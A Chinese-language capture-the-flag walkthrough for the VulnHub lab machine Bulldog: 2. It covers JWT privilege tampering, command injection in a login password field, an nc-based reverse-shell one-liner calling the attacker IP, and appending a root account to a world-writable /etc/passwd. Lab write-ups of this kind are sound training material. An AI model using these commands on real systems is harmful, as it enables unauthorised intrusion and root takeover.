Skip to content

Latest commit

 

History

History
215 lines (111 loc) · 10.7 KB

VulnHub-Bulldog: 2.md

File metadata and controls

215 lines (111 loc) · 10.7 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

大余安全  

一个每日分享渗透小技巧的公众号

大家好,这里是 大余安全 的第 50 篇文章,本公众号会每日分享攻防渗透技术给大家。

靶机地址:https://www.vulnhub.com/entry/bulldog-2,246/

靶机难度:中级(CTF)

靶机发布日期:2018 年 7 月 18 日

靶机描述:

自 Bulldog Industries 遭受数次数据泄露以来已经过去了三年。在那时,他们已经恢复并重新命名为 Bulldog.social,这是一家新兴的社交媒体公司。您可以接受这一新挑战并在他们的生产 Web 服务器上扎根吗?

这是标准的启动到根。您唯一的目标是进入根目录并查看祝贺消息,该如何操作取决于您!

难度:中级,有些事情您可能从未见过。仔细考虑所有问题:)

请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

直接看到了 IP:192.168.56.141   我就直接 nmap 了...

只开了 80 端口...65534 是 filtered...(好像以前做过类似的)

有登录页面...

安全原因,不允许注册...

上面测试了普通账号密码无法登录...

dirb 和 nikto 也没发现什么有用的... 继续浏览

点击进入 user,发现这里面网站上每月使用量最高的用户...

前段源码发现很多 js 文件... 一个一个查看得眼花,我还是对 login 页面进行分析吧...

前面看到无法注册用户,我使用 burp suite 来分析...

这边抓到了服务器提交请求的数据...

发现加了 name 和 email 后还是不行...

发现这里是 authenticate,我改成注册的 register...

还真成功了... 说明可以注册的,登录看看...

我又注册了 dayutest 测试看看是否可以水平越权渗透...

发现只要是存在的用户,在链接中直接修改用户名,即可直接访问进去不需要密码... 但是这没什么用...

再次登录界面登录 dayu 用户重新抓包,查看到服务器回包信息...

{"success":true,"token":"JWT....百度JWT:JSON Web Token(JWT)

是一个非常轻巧的规范。这个规范允许我们使用 JWT 在用户和服务器之间传递安全可靠的信息....

这边知道了 jwt 的信息在下面... 分析下...

可以看到有个 auth_level 的参数跟着 standard_user,类似权限的意思... 前面 JS 文件我记得有很多类似的信息... 回去找下

查看此文件的内容后,发现 master_admin_user 具有最高的 auth_level...

二、提权

重新抓包...

这里重新抓包后,读取到用户名密码后将数据包发送到 Response to this request,然后 Forward 即可出现 JWT 值....

将 standard_user 改成 master_admin_user 即可...

可以看到 yujun 获得了 admin 权限...(垂直渗透成功)

发现可以输入账号密码,继续分析...

继续分析...

发送后发现,返回的是 200 OK 成功了,但是是错误的密码 false... 说明存在命令执行漏洞...

那就在密码处输入 shell 即可... 试试...

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f;   (上一张才刚用过此命令提权,嘿嘿)

成功获得低权...

;ping 192.168.56.103 -c 4
tcpdump -nni eth0 icmp

当利用 ping 测试账号的时候,无 ICMP 数据包返回,测试密码的时候,返回了 ICMP 数据包... 说明密码区域可以执行反向 shell...

然后注入个 payload 即可提权...

查看 passwd,权限为 777...

这里直接创建个 root 用户即可.... 前面章节也有遇到过类似的...

perl -le 'print crypt("dayu","aa")'
echo 'dayuroot:aaP.3CTQfJaLg:0:0:dayuroot:/root:/bin/bash' >>/etc/passwd

可以看到写入了 dayuroot 用户,成功登陆后获得 roo 权限...

这里使用 openssl passwd -1 -salt user3/infosec (passwd) 可以生成哈希值,进行登陆...

这里熟悉命令注入攻击提权后就简单了....

由于我们已经成功得到 root 权限查看 flag,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

大余安全

一个全栈渗透小技巧的公众号